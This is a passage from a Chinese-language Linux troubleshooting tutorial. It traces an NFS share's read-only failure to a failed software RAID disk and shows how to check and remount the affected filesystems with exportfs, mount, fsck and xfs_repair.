服务不会不断读取`/etc/exports`文件以寻找更改。 事实上,这个文件只在服务启动时被读取。 - -对`/etc/exports`文件的任何修改都将在重新加载服务或使用`exportfs`命令刷新导出的文件系统后才生效。 - -### 识别当前出口 - -一个非常常见的场景是,有人对该文件进行了更改,但却忘记运行命令来刷新导出的文件系统。 我们可以通过使用`exportfs`命令来确定是否为这种情况: - -```sh -[nfs]# exportfs -s -/nfs 192.168.33.0/24(rw,wdelay,no_root_squash,no_subtree_check,sec=sys,rw,secure,no_root_squash,no_all_squash) - -``` - -当给出`–s`(显示当前导出)标志时,`exportfs`命令将简单地列出现有的共享目录,包括共享这些目录的选项。 - -查看前面的输出,我们可以看到这个文件系统与许多选项共享,这些选项在`/etc/exports`中没有列出。 这是因为通过 NFS 共享的所有目录都有一个默认选项列表,这些选项管理如何共享目录。 在`/etc/exports`中指定的选项实际上用于覆盖默认设置。 - -为了更好地理解这些选项,让我们将它们进行分解: - -* `rw`:允许对共享目录进行读写操作。 -* `wdelay`:这将导致 NFS 在怀疑有另一个客户端写入请求时保持一个写请求。 这是为了减少连接多个客户端时的写冲突。 -* `no_root_squash`:禁用`root_squash`,这是一个将根用户映射到匿名用户的系统。 -* `no_subtree_check`:禁用`subtree`检查; 子树检查本质上确保对导出子目录的目录的请求将遵循子目录更严格的策略。 -* `sec=sys`:这告诉 NFS 使用用户 ID 和组 ID 值进行文件访问的权限和授权。 -* `secure`:这确保 NFS 只处理客户端端口小于 1024 的请求,本质上要求它来自特权 NFS 挂载。 -* `no_all_squash`:禁用`all_squash`,该功能用于强制将所有权限映射到匿名用户和组。 - -似乎这些选项也不能解释`Read-Only`文件系统。 这个问题似乎很难解决,尤其是在 NFS 服务配置正确的情况下。 - -### 从其他客户端测试 NFS - -因为 NFS 服务器的配置看起来是正确的,而且客户机(数据库服务器)也看起来是正确的,所以我们需要缩小问题是在客户机端还是在服务器端。 - -一种方法是将文件系统挂载到另一个客户机上,并尝试相同的写请求。 从配置来看,似乎我们只需要在`192.168.33.0/24`网络中另一台服务器来执行此测试。 也许我们前面章节提到的博客服务器是一个很好的客户端? - -### 提示 - -在某些环境中,这个问题的答案可能是`no`,因为 web 服务器通常被认为不如数据库服务器安全。 然而,因为这只是本书的一个测试环境,所以它是可以的。 - -一旦我们登录到博客服务器,我们就可以使用`showmount`命令来测试是否可以看到挂载: - -```sh -[blog]# showmount -e 192.168.33.13 -Export list for 192.168.33.13: -/nfs 192.168.33.0/24 - -``` - -这回答了两个问题。 第一个是是否安装了 NFS 客户端软件; 因为存在`showmount`命令,所以答案可能是`yes`。 - -第二个问题是是否可以从博客服务器访问 NFS 服务,答案也是 yes。 - -要测试挂载,我们只需使用`mount`命令: - -```sh -[blog]# mount -t nfs 192.168.33.13:/nfs /mnt - -``` - -使用`mount`命令挂载文件系统,语法为:`mount –t `。 在上面的示例中,我们简单地将`192.168.33.13:/nfs`设备挂载到`/mnt`目录,文件系统类型为`nfs`。 - -在运行命令时,我们没有收到任何错误,但是为了确保文件系统被正确挂载,我们可以像之前那样使用`mount`命令: - -```sh -[blog]# mount | grep /mnt -192.168.33.13:/nfs on /mnt type nfs4 (rw,relatime,vers=4.0,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=192.168.33.11,local_lock=none,addr=192.168.33.13) - -``` - -从`mount`命令的输出来看,`mount`请求已经成功,并且处于`Read-Write`模式,这意味着`mount`选项与数据库服务器上使用的选项类似。 - -现在我们可以通过尝试使用`touch`命令创建一个文件来测试文件系统: - -```sh -# touch /mnt/testfile.txt -touch: cannot touch '/mnt/testfile.txt': Read-only file system - -``` - -看起来问题不在于客户机的配置,因为即使是我们的新客户机也有写这个文件系统的问题。 - -### 提示 - -作为提示,在前面的示例中,我将`/nfs`共享挂载到`/mnt`。 `/mnt`目录被用作通用的挂载点,通常认为可以使用。 然而,最好的做法是确保不事先安装其他内容到`/mnt`。 - -# 使坐骑永久 - -目前,即使我们使用`mount`命令挂载 NFS 共享,这个挂载的文件系统也不被认为是持久的。 下次系统重新引导时,将不会重新挂载 NFS 挂载。 - -这是因为在系统引导时,引导过程的一部分是读取`/etc/fstab`文件和`mount`文件中定义的任何文件系统。 - -为了更好地理解它是如何工作的,让我们看看数据库服务器上的`/etc/fstab`文件: - -```sh -[db]# cat /etc/fstab - -# -# /etc/fstab -# Created by anaconda on Mon Jul 21 23:35:56 2014 -# -# Accessible filesystems, by reference, are maintained under '/dev/disk' -# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info -# -/dev/mapper/os-root / xfs defaults 1 1 -UUID=be76ec1d-686d-44a0-9411-b36931ee239b /boot xfs defaults 1 2 -/dev/mapper/os-swap swap swap defaults 0 0 -192.168.33.13:/nfs /data nfs defaults 0 0 - -``` - -`/etc/fstab`文件的内容实际上与`/proc/mounts`文件的内容非常相似。 第一列的`/etc/fstab`文件用于指定设备安装,第二列是`path`或`mount`指山,第三列是文件系统类型,第四列是`mount`的选项文件系统。 - -然而,在`/etc/fstab`文件中,最后两列是这些文件的不同之处。 最后两列实际上是有意义的。 在`fstab`文件中,`dump`命令使用第五列。 - -`dump`命令是一个简单的备份实用程序,它读取`/etc/fstab`以确定要备份哪些文件系统。 当执行转储实用程序时,任何设置了`0`值的文件系统都不在备份范围内。 - -虽然目前这个实用程序的使用并不多,但是维护`/etc/fstab`文件中的这个专栏是为了提供向后功能。 - -`/etc/fstab`文件中的第六列也是最后一列与当今的系统非常相关。 这个列用来表示引导过程(通常是在失败之后)中执行文件系统检查或`fsck`的顺序。 - -文件系统检查(简称`fsck`)是一个定期运行的进程,它检查文件系统中是否存在错误并试图纠正它们。 这是一个过程,我们将在本章进一步介绍。 - -## 卸载/mnt 文件系统 - -因为我们不想让 NFS 共享文件系统挂载在博客服务器的`/mnt`路径上,所以我们需要卸载该文件系统。 - -我们可以使用与前面处理`/boot`文件系统相同的方法来完成此操作; 使用`umount`命令: - -```sh -[blog]# umount /mnt -[blog]# mount | grep /mnt - -``` - -在博客服务器上,我们简单地使用`umount`,然后使用`/mnt`的`mount`点到`unmount`客户机的 NFS`mount`点。 现在,我们可以回到 NFS 服务器继续进行故障排除。 - -# NFS 服务器故障处理 - -由于我们确定了,即使是新客户端也不能写入`/nfs`共享,因此我们现在已经将问题范围缩小到服务器端,而不是客户端。 - -前面,在对 NFS 服务器进行故障诊断时,我们几乎检查了关于 NFS 的所有检查。 我们验证了服务实际上正在运行,客户机可以访问该服务,并且验证了`/etc/exports`中的数据是正确的,并且当前导出的目录与`/etc/exports`中的目录匹配。 此时,只剩下一个地方需要检查:`log`文件。 - -默认情况下,NFS 服务不像 Apache 或 MariaDB 那样拥有自己的日志文件。 相反,RHEL 系统上的这项服务使用了`syslog`设施; 这意味着我们的日志将在`/var/log/messages`内。 - -`messages`日志是 Red Hat Enterprise Linux 发行版中非常常用的日志文件。 事实上,默认情况下,在 cron 作业和身份验证之外,信息日志级别以上的所有 syslog 消息都被发送到基于 RHEL 的系统上的`/var/log/messages`。 - -由于 NFS 服务将其日志消息发送到本地`syslog`服务,因此其消息也包含在`messages`日志中。 - -## 查找 NFS 日志消息 - -如果我们不知道 NFS 日志被发送到`/var/log/messages`日志文件会怎样? 有一个相当简单的技巧可以识别哪个日志文件包含 NFS 日志消息。 - -通常,在 Linux 系统上,所有系统服务的日志文件都位于`/var/log`中。 由于我们知道大多数日志在系统上的默认位置,我们可以简单地快速查看这些文件,以确定哪些文件可能具有 NFS 日志消息: - -```sh -[nfs]# cd /var/log -[nfs]# grep -rc nfs ./* -./anaconda/anaconda.log:14 -./anaconda/syslog:44 -./anaconda/anaconda.xlog:0 -./anaconda/anaconda.program.log:7 -./anaconda/anaconda.packaging.log:16 -./anaconda/anaconda.storage.log:56 -./anaconda/anaconda.ifcfg.log:0 -./anaconda/ks-script-Sr69bV.log:0 -./anaconda/ks-script-lfU6U2.log:0 -./audit/audit.log:60 -./boot.log:4 -./btmp:0 -./cron:470 -./cron-20150420:662 -./dmesg:26 -./dmesg.old:26 -./grubby:0 -./lastlog:0 -./maillog:112386 -./maillog-20150420:17 -./messages:3253 -./messages-20150420:11804 -./sa/sa15:1 -./sa/sar15:1 -./sa/sa16:1 -./sa/sar16:1 -./sa/sa17:1 -./sa/sa19:1 -./sa/sar19:1 -./sa/sa20:1 -./sa/sa25:1 -./sa/sa26:1 -./secure:14 -./secure-20150420:63 -./spooler:0 -./tallylog:0 -./tuned/tuned.log:0 -./wtmp:0 -./yum.log:0 - -``` - -`grep`命令递归地(`-r`)在每个文件中搜索字符串“`nfs`”,并输出文件名以及找到该字符串的行数的计数(`-c`)。 - -在前面的输出中,有两个日志文件包含最多的字符串“`nfs`”实例。 第一个是`maillog`,它是电子邮件消息的系统日志; 这可能与 NFS 服务无关。 - -第二个是`messages`日志文件,如我们所知,它是系统默认的日志文件。 - -即使事先不了解特定系统的日志记录方法,如果您像前面的示例一样熟悉 Linux 的一般情况和技巧,通常也可以找到哪些日志包含所需的数据。 - -现在我们知道了要查找的日志文件,让我们看一下`/var/log/messages`日志。 - -## 读取/var/log/messages - -由于这个`log`文件可能非常大,我们将使用带有`-100`标志的`tail`命令,这将导致尾部只显示指定文件的最后`100`行。 通过限制输出为`100`行,我们应该只看到最相关的数据: - -```sh -[nfs]# tail -100 /var/log/messages -Apr 26 10:25:44 nfs kernel: md/raid1:md127: Disk failure on sdb1, disabling device. -md/raid1:md127: Operation continuing on 1 devices. -Apr 26 10:25:55 nfs kernel: md: unbind -Apr 26 10:25:55 nfs kernel: md: export_rdev(sdb1) -Apr 26 10:27:20 nfs kernel: md: bind -Apr 26 10:27:20 nfs kernel: md: recovery of RAID array md127 -Apr 26 10:27:20 nfs kernel: md: minimum _guaranteed_ speed: 1000 KB/sec/disk. -Apr 26 10:27:20 nfs kernel: md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery. -Apr 26 10:27:20 nfs kernel: md: using 128k window, over a total of 511936k. -Apr 26 10:27:20 nfs kernel: md: md127: recovery done. -Apr 26 10:27:41 nfs nfsdcltrack[4373]: sqlite_remove_client: unexpected return code from delete: 8 -Apr 26 10:27:59 nfs nfsdcltrack[4375]: sqlite_remove_client: unexpected return code from delete: 8 -Apr 26 10:55:06 nfs dhclient[3528]: can't create /var/lib/NetworkManager/dhclient-05be239d-0ec7-4f2e-a68d-b64eec03fcb2-enp0s3.lease: Read-only file system -Apr 26 11:03:43 nfs chronyd[744]: Could not open temporary driftfile /var/lib/chrony/drift.tmp for writing -Apr 26 11:55:03 nfs rpc.mountd[4552]: could not open /var/lib/nfs/.xtab.lock for locking: errno 30 (Read-only file system) -Apr 26 11:55:03 nfs rpc.mountd[4552]: can't lock /var/lib/nfs/xtab for writing - -``` - -因为即使是`100`行也可能相当繁琐,所以我将输出截断为只处理相关的行。 这显示了相当多的带有字符串“`nfs`”的消息; 然而,并非所有这些都是来自 NFS 服务的消息。 因为我们的 NFS 服务器的主机名被设置为`nfs`,所以这个系统的每个日志条目都有字符串“`nfs`”。 - -然而,即使这样,我们仍然可以看到一些与`NFS`服务相关的消息,特别是以下几行: - -```sh -Apr 26 10:27:41 nfs nfsdcltrack[4373]: sqlite_remove_client: unexpected return code from delete: 8 -Apr 26 10:27:59 nfs nfsdcltrack[4375]: sqlite_remove_client: unexpected return code from delete: 8 -Apr 26 11:55:03 nfs rpc.mountd[4552]: could not open /var/lib/nfs/.xtab.lock for locking: errno 30 (Read-only file system) -Apr 26 11:55:03 nfs rpc.mountd[4552]: can't lock /var/lib/nfs/xtab for writing - -``` - -关于这些日志条目的有趣的事情是其中一个特别声明了服务`rpc.mountd`不能打开一个文件,因为文件系统是`Read-only`。 但是,它试图打开的文件`/var/lib/nfs/.xtab.lock`不是我们的 NFS 共享的一部分。 - -由于这个文件系统不是我们的 NFS 的一部分,让我们快速查看一下这个服务器上挂载的文件系统。 我们可以再次这样做,使用`mount`命令: - -```sh -[nfs]# mount -proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) -sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime,seclabel) -devtmpfs on /dev type devtmpfs (rw,nosuid,seclabel,size=241112k,nr_inodes=60278,mode=755) -securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime) -selinuxfs on /sys/fs/selinux type selinuxfs (rw,relatime) -systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=33,pgrp=1,timeout=300,minproto=5,maxproto=5,direct) -mqueue on /dev/mqueue type mqueue (rw,relatime,seclabel) -debugfs on /sys/kernel/debug type debugfs (rw,relatime) -hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,seclabel) -sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw,relatime) -nfsd on /proc/fs/nfsd type nfsd (rw,relatime) -/dev/mapper/md0-root on / type xfs (ro,relatime,seclabel,attr2,inode64,noquota) -/dev/md127 on /boot type xfs (ro,relatime,seclabel,attr2,inode64,noquota) -/dev/mapper/md0-nfs on /nfs type xfs (ro,relatime,seclabel,attr2,inode64,noquota) - -``` - -和其他服务器一样,这里有很多已安装的文件系统,但是我们对它们并不感兴趣; 只有一小部分。 - -```sh -/dev/mapper/md0-root on / type xfs (ro,relatime,seclabel,attr2,inode64,noquota) -/dev/md127 on /boot type xfs (ro,relatime,seclabel,attr2,inode64,noquota) -/dev/mapper/md0-nfs on /nfs type xfs (ro,relatime,seclabel,attr2,inode64,noquota) - -``` - -前面三行是我们应该感兴趣的。 这三个挂载的文件系统是为我们的系统定义的持久文件系统。 如果我们看一下这三个持久文件系统,我们可以发现一些有趣的信息。 - -设备`/dev/mapper/md0-root`上存在`/`或根文件系统。 这个文件系统实际上对我们的系统非常重要,因为似乎这个服务器被配置为将整个操作系统安装在根文件系统(`/`)下,这是一种比较常见的设置。 这个文件系统包括所讨论的文件`/var/lib/nfs/.xtab.lock`文件。 - -`/boot`文件系统存在于`/dev/md127`设备上,从名称上判断,该设备很可能是使用 Linux 的软件 raid 系统的突袭设备。 `/boot`文件系统与根文件系统一样重要,因为`/boot`包含服务器启动所需的所有文件。 如果没有`/boot`文件系统,这个系统很可能不会重新启动,而只是在下一次系统重新启动时出现内核恐慌。 - -最后一个文件系统`/nfs`使用`/dev/mapper/md0-nfs`设备。 根据前面的故障诊断,我们将这个文件系统标识为通过 NFS 服务导出的文件系统。 - -## 只读文件系统 - -如果我们回顾一下错误和`mount`的输出,我们将开始发现这个系统中一些有趣的错误: - -```sh -Apr 26 11:55:03 nfs rpc.mountd[4552]: could not open /var/lib/nfs/.xtab.lock for locking: errno 30 (Read-only file system) - -``` - -该错误报告文件系统在。 `xtab.lock`文件位于`Read-Only`: - -```sh -/dev/mapper/md0-root on / type xfs (ro,relatime,seclabel,attr2,inode64,noquota) - -``` - -通过`mount`命令,我们可以看到所讨论的文件系统就是`/`文件系统。 在查看了`/`或根文件系统的选项之后,我们可以看到这个文件系统实际上是用`ro`选项安装的。 - -事实上,如果我们看一下这三个文件系统的选项,我们可以看到`/`、`/boot`和`/nfs`都用`ro`选项挂载。 其中`rw`将文件系统挂载为`Read-Write`,`ro`选项将文件系统挂载为`Read-Only`。 这意味着目前,这些文件系统不能被任何用户写入。 - -对于以`Read-Only`模式挂载的所有三个已定义的文件系统来说,这是一种非常不寻常的配置。 要查看这是否是所需的配置,我们可以检查`/etc/fstab`文件,它与前面用于标识持久文件系统的文件相同: - -```sh -[nfs]# cat /etc/fstab -# -# /etc/fstab -# Created by anaconda on Wed Apr 15 09:39:23 2015 -# -# Accessible filesystems, by reference, are maintained under '/dev/disk' -# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info -# -/dev/mapper/md0-root / xfs defaults 0 0 -UUID=7873e886-78d5-46cc-b4d9-0c385995d915 /boot xfs defaults 0 0 -/dev/mapper/md0-nfs /nfs xfs defaults 0 0 -/dev/mapper/md0-swap swap swap defaults 0 0 - -``` - -从`/etc/fstab`文件的内容来看,这些文件系统似乎没有被配置为以`Read-Only`模式挂载。 相反,这些文件系统是用“默认”选项挂载的。 - -在 Linux 上,`xfs`文件系统的“默认”选项以`Read-Write`模式而不是`Read-Only`模式挂载文件系统。 如果我们查看数据库服务器上的`/etc/fstab`文件,就可以验证这种行为: - -```sh -[db]# cat /etc/fstab -# -# /etc/fstab -# Created by anaconda on Mon Jul 21 23:35:56 2014 -# -# Accessible filesystems, by reference, are maintained under '/dev/disk' -# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info -# -/dev/mapper/os-root / xfs defaults 1 1 -UUID=be76ec1d-686d-44a0-9411-b36931ee239b /boot xfs defaults 1 2 -/dev/mapper/os-swap swap swap defaults 0 0 -192.168.33.13:/nfs /data nfs defaults 0 0 - -``` - -在数据库服务器上,我们可以看到`/`或根文件系统也将文件系统选项设置为“defaults”。 然而,当我们使用`mount`命令查看文件系统选项时,我们可以看到`rw`选项以及其他一些默认选项正在被应用: - -```sh -[db]# mount | grep root -/dev/mapper/os-root on / type xfs (rw,relatime,seclabel,attr2,inode64,noquota) - -``` - -这确认了三个持久文件系统的`Read-Only`状态不是所需的配置。 - -### 硬盘问题 - -如果指定`/etc/fstab`文件系统为,以`Read-Write`方式挂载文件系统,且`mount`命令显示以`Read-Only`方式挂载文件系统。 这清楚地表明,有问题的文件系统可能在它们最初作为引导过程的一部分被装载之后被重新装载。 - -如前所述,当 Linux 系统引导时,它读取`/etc/fstab`文件并挂载所有定义的文件系统。 但是,安装文件系统的过程到此为止。 没有进程持续监视`/etc/fstab`文件的更改,并挂载或卸载修改的文件系统,至少在默认情况下不是这样。 - -事实上,经常会看到新创建的文件系统没有挂载,而是在`/etc/fstab`文件中指定,因为有人在编辑`/etc/fstab`文件后忘记使用`mount`命令对其进行`mount`操作。 - -然而,看到文件系统被挂载为`Read-Only`,但是`fstab`随后被更改的情况并不常见。 - -事实上,在我们的场景中,这并不容易实现,因为`/`文件系统是`Read-Only`,所以`/etc/fstab`是不可访问的: - -```sh -[nfs]# touch /etc/fstab -touch: cannot touch '/etc/fstab': Read-only file system - -``` - -这意味着我们的文件系统是`Read-Only`,是在这些文件系统最初安装之后执行的。 - -这种状态的罪魁祸首实际上在我们之前查看的日志消息中: - -```sh -Apr 26 10:25:44 nfs kernel: md/raid1:md127: Disk failure on sdb1, disabling device. -md/raid1:md127: Operation continuing on 1 devices. -Apr 26 10:25:55 nfs kernel: md: unbind -Apr 26 10:25:55 nfs kernel: md: export_rdev(sdb1) -Apr 26 10:27:20 nfs kernel: md: bind -Apr 26 10:27:20 nfs kernel: md: recovery of RAID array md127 -Apr 26 10:27:20 nfs kernel: md: minimum _guaranteed_ speed: 1000 KB/sec/disk. -Apr 26 10:27:20 nfs kernel: md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery. -Apr 26 10:27:20 nfs kernel: md: using 128k window, over a total of 511936k. -Apr 26 10:27:20 nfs kernel: md: md127: recovery done. - -``` - -从`/var/log/messages`日志文件中,我们可以看到,在某个时刻,软件 raid(`md`)出现了一个问题,该问题将磁盘`/dev/sdb1`标记为失败。 - -默认情况下,在 Linux 中,如果一个物理磁盘驱动器失败或内核无法使用,Linux 内核将以`Read-Only`模式重新挂载该物理磁盘上的文件系统。 与前面的错误消息一样,似乎是`sdb1`物理磁盘和`md127`raid 设备的故障是导致文件系统为`Read-Only`的根本原因。 - -由于软件 raid 和硬件问题是下一章的主题,我们将在[第 8 章](08.html#1GKCM1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 8. Hardware Troubleshooting")、*硬件故障*中推迟 raid 和磁盘问题的故障排除。 - -# 恢复文件系统 - -既然我们知道了为什么文件系统处于`Read-Only`模式,我们就可以解决这个问题了。 强迫文件系统从`Read-Only`转到`Read-Write`实际上非常简单。 但是,因为我们不知道导致文件系统进入`Read-Only`模式的失败的所有情况,所以我们必须小心。 - -从文件系统错误中恢复可能非常棘手; 如果处理不当,我们很容易发现自己处于这样一种情况:我们损坏了文件系统,或者以其他方式导致部分甚至全部数据丢失。 - -因为我们有多个文件系统处于`Read-Only`模式,所以我们首先从`/boot`文件系统开始。 我们从`/boot`文件系统开始的原因是,从技术上讲,这是最容易发生数据丢失的文件系统。 由于`/boot`文件系统只在服务器引导过程中使用,所以我们可以简单地确保在`/boot`文件系统可以恢复之前不重新引导该服务器。 - -无论何时,在采取任何行动之前,最好先备份数据。 在接下来的步骤中,我们将假定`/boot`文件系统定期进行备份。 - -## 卸载文件系统 - -为了恢复这个文件系统,我们将执行三个步骤。 在第一步中,我们将卸载`/boot`文件系统。 通过在采取任何额外步骤之前卸载文件系统,我们将确保文件系统没有被积极地写入。 这一步骤将大大减少恢复过程中文件系统损坏的机会。 - -然而,在卸载文件系统之前,我们需要确保没有应用或服务试图写入我们试图恢复的文件系统。 - -为了确保这一点,我们可以使用`lsof`命令。 `lsof`命令用于列出打开的文件; 我们可以通过这个列表来确定`/boot`文件系统中是否有任何文件是打开的。 - -如果我们只是运行不带选项的`lsof`,它将打印所有当前打开的文件: - -```sh -[nfs]# lsof -COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME -systemd 1 root cwd DIR 253,1 4096 128 / - -``` - -通过向`lsof`添加`–r`(repeat)标志,我们告诉它以重复模式运行。 然后我们可以将这个输出通过管道传递到`grep`命令,在那里我们可以过滤出在`/boot`文件系统上打开的文件: - -```sh -[nfs]# lsof -r | grep /boot - -``` - -如果前面的命令在一段时间内没有产生任何输出,那么继续卸载文件系统是安全的。 如果该命令打印任何打开的文件,最好找到适当的进程读写文件系统,并在卸载文件系统之前停止它们。 - -由于我们的示例在`/boot`文件系统上没有打开的文件,我们可以继续卸载`/boot`文件系统。 为此,我们将使用`umount`命令: - -```sh -[nfs]# umount /boot - -``` - -幸运的是,`umount`命令没有出错。 如果文件正在积极写入,那么卸载时可能会收到错误。 通常,此错误包含一条消息,声明**设备正忙**。 为了验证文件系统是否被成功卸载,我们可以再次使用`mount`命令: - -```sh -[nfs]# mount | grep /boot - -``` - -现在已经卸载了`/boot`文件系统,我们可以在恢复过程中执行第二步。 我们现在可以检查和修复文件系统。 - -## 使用 fsck 检查文件系统 - -Linux 有一个非常有用的文件系统检查命令,可以用来检查和修复文件系统。 这个命令称为`fsck`。 - -然而,`fsck`命令实际上并不是一个命令。 每种文件系统类型都有自己的检查一致性和修复问题的方法。 `fsck`命令只是一个包装器,它为所讨论的文件系统调用适当的命令。 - -例如,当`fsck`命令在`ext4`文件系统上运行时,正在执行的命令实际上是`e2fsck`。 `e2fsck`命令用于`ext2`到`ext4`的文件系统类型。 - -我们可以通过两种方式调用`e2fsck`,要么直接调用`fsck`,要么间接调用`fsck`。 在本例中,我们将使用`fsck`方法,因为它可以用于 Linux 支持的几乎所有文件系统。 - -要使用`fsck`命令简单地检查文件系统的一致性,我们可以在不带标志的情况下运行它,并指定要检查的磁盘设备: - -```sh -[nfs]# fsck /dev/sda1 -fsck from util-linux 2.20.1 -e2fsck 1.42.9 (4-Feb-2014) -cloudimg-rootfs: clean, 85858/2621440 files, 1976768/10485504 blocks - -``` - -在前面的示例中,我们可以看到文件系统没有识别任何错误。 如果有,就会有人问我们是否需要`e2fsck`实用程序来纠正这些错误。 - -如果需要,我们可以通过将`–y`(yes)标志传递给`fsck`来自动修复发现的问题: - -```sh -[nfs]# fsck -y /dev/sda1 -fsck from util-linux 2.20.1 -e2fsck 1.42 (29-Nov-2011) -/dev/sda1 contains a file system with errors, check forced. -Pass 1: Checking inodes, blocks, and sizes -Inode 2051351 is a unknown file type with mode 0137642 but it looks -like it is really a directory. -Fix? yes - -Pass 2: Checking directory structure -Entry 'test' in / (2) has deleted/unused inode 49159\. Clear? yes - -Pass 3: Checking directory connectivity -Pass 4: Checking reference counts -Pass 5: Checking group summary information - -/dev/sda1: ***** FILE SYSTEM WAS MODIFIED ***** -/dev/sda1: 96/2240224 files (7.3% non-contiguous), 3793508/4476416 blocks - -``` - -此时,`e2fsck`命令将尝试来纠正它发现的任何错误。 幸运的是,在我们的例子中,错误能够被纠正; 然而,在某些情况下,情况并非如此。 - -### fsck 和 xfs 文件系统 - -当`fsck`命令为时,在文件系统上运行`xfs`; 结果却截然不同: - -```sh -[nfs]# fsck /dev/md127 -fsck from util-linux 2.23.2 -If you wish to check the consistency of an XFS filesystem or -repair a damaged filesystem, see xfs_repair(8). - -``` - -`xfs`文件系统不同于`ext2/3/4`系列文件系统,因为每次挂载文件系统时都会执行一致性检查。 这并不意味着您不能手动检查和修复文件系统。 要检查一个`xfs`文件系统,我们可以使用`xfs_repair`实用程序: - -```sh -[nfs]# xfs_repair -n /dev/md127 -Phase 1 - find and verify superblock... -Phase 2 - using internal log - - scan filesystem freespace and inode maps... - - found root inode chunk -Phase 3 - for each AG... - - scan (but don't clear) agi unlinked lists... - - process known inodes and perform inode discovery... - - agno = 0 - - agno = 1 - - agno = 2 - - agno = 3 - - process newly discovered inodes... -Phase 4 - check for duplicate blocks... - - setting up duplicate extent list... - - check for inodes claiming duplicate blocks... - - agno = 0 - - agno = 1 - - agno = 2 - - agno = 3 -No modify flag set, skipping phase 5 -Phase 6 - check inode connectivity... - - traversing filesystem ... - - traversal finished ... - - moving disconnected inodes to lost+found ... -Phase 7 - verify link counts... -No modify flag set, skipping filesystem flush and exiting. - -``` - -当使用`–n`(不修改)标志执行,后面跟着要检查的设备时,`xfs_repair`实用程序只会验证文件系统的一致性。 在此模式下运行时,它不会尝试修复文件系统。 - -要在修复文件系统的模式下运行`xfs_repair`,只需省略`–n`标志,如下所示: - -```sh -[nfs]# xfs_repair /dev/md127 -Phase 1 - find and verify superblock... -Phase 2 - using internal log - - zero log... - - scan filesystem freespace and inode maps... - - found root inode chunk -Phase 3 - for each AG... - - scan and clear agi unlinked lists... - - process known inodes and perform inode discovery... - - agno = 0 - - agno = 1 - - agno = 2 - - agno = 3 - - process newly discovered inodes... -Phase 4 - check for duplicate blocks... - - setting up duplicate extent list... - - check for inodes claiming duplicate blocks... - - agno = 0 - - agno = 1 - - agno = 2 - - agno = 3 -Phase 5 - rebuild AG headers and trees... - - reset superblock... -Phase 6 - check inode connectivity... - - resetting contents of realtime bitmap and summary inodes - - traversing filesystem ... - - traversal finished ... - - moving disconnected inodes to lost+found ... -Phase 7 - verify and correct link counts... -Done - -``` - -从前面的`xfs_repair`命令的输出来看,我们的`/boot`文件系统似乎不需要任何修复进程。 - -### 这些工具如何修复文件系统? - -您可能认为用`fsck`和`xfs_repair`这样的工具来修复这个文件系统是相当容易的。 原因很简单,就是因为文件系统的设计,比如`xfs`和`ext2/3/4`。 `xfs`和`ext2/3/4`系列都是日志文件系统; 这意味着这些类型的文件系统将保存对文件系统对象(如文件、目录等)所做更改的日志。 - -这些更改将保存在此日志中,直到将更改提交到主文件系统。 `xfs_repair`实用程序只是查看这个日志,并回放未提交到主文件系统的最后更改。 这些文件系统日志允许文件系统在意外断电或系统重新启动等情况下非常有弹性。 - -不幸的是,有时候文件系统的日志和工具(如`xfs_repair`)不足以纠正这种情况。 - -在这种情况下,还有更多的选择,比如以强制模式运行修复。 然而,这些选项应该一直保留到最后一搏,因为它们本身有时会导致文件系统损坏。 - -如果您发现自己的文件系统已损坏且无法修复,那么最好的办法可能就是重新创建文件系统并恢复备份,如果您有备份的话…… - -## 安装文件系统 - -现在已经检查并修复了`/boot`文件系统,我们可以简单地重新安装它,以验证数据是否正确。 为此,我们可以简单地运行`mount`命令,然后运行`/boot`: - -```sh -[nfs]# mount /boot -[nfs]# mount | grep /boot -/dev/md127 on /boot type xfs (rw,relatime,seclabel,attr2,inode64,noquota) - -``` - -当在`/etc/fstab`文件中定义文件系统时,只需使用`mount`点就可以调用`mount`和`umount`命令。 这将使这两个命令根据文件`/etc/fstab`中的定义进入文件系统`mount`或`unmount`。 - -从`mount`的输出来看,我们的`/boot`文件系统现在是`Read-Write`而不是`Read-Only`。 如果我们执行一个`ls`命令,我们仍然可以看到我们的原始数据: - -```sh -[nfs]# ls /boot -config-3.10.0-229.1.2.el7.x86_64 initrd-plymouth.img -config-3.10.0-229.el7.x86_64 symvers-3.10.0-229.1.2.el7.x86_64.gz -grub symvers-3.10.0-229.el7.x86_64.gz -grub2 System.map-3.10.0-229.1.2.el7.x86_64 -initramfs-0-rescue-3f370097c831473a8cfec737ff1d6c55.img System.map-3.10.0-229.el7.x86_64 -initramfs-3.10.0-229.1.2.el7.x86_64.img vmlinuz-0-rescue-3f370097c831473a8cfec737ff1d6c55 -initramfs-3.10.0-229.1.2.el7.x86_64kdump.img vmlinuz-3.10.0-229.1.2.el7.x86_64 -initramfs-3.10.0-229.el7.x86_64.img vmlinuz-3.10.0-229.el7.x86_64 -initramfs-3.10.0-229.el7.x86_64kdump.img - -``` - -看来我们的恢复措施是成功的! 现在我们已经用`/boot`文件系统对它们进行了测试,现在我们可以开始修复`/nfs`文件系统。 - -## 修复其他文件系统 - -修复`/nfs`文件系统的步骤实际上与`/boot`文件系统相同,只有一个主要的区别,如下: - -```sh -[nfs]# lsof -r | grep /nfs -rpc.statd 1075 rpcuser cwd DIR 253,1 40 592302 /var/lib/nfs/statd -rpc.mount 2282 root cwd DIR 253,1 4096 9125499 /var/lib/nfs -rpc.mount 2282 root 4u REG 0,3 0 4026532125 /proc/2280/net/rpc/nfd.export/channel -rpc.mount 2282 root 5u REG 0,3 0 4026532129 /proc/2280/net/rpc/nfd.fh/channel - -``` - -当使用`lsof`检查`/nfs`文件系统上打开的文件时,我们可能看不到 NFS 服务进程。 但是,在`lsof`命令停止后,NFS 服务很可能会尝试访问这个共享文件系统中的文件。 为了防止这种情况,在对共享文件系统执行任何更改时,最好(尽可能)停止 NFS 服务: - -```sh -[nfs]# 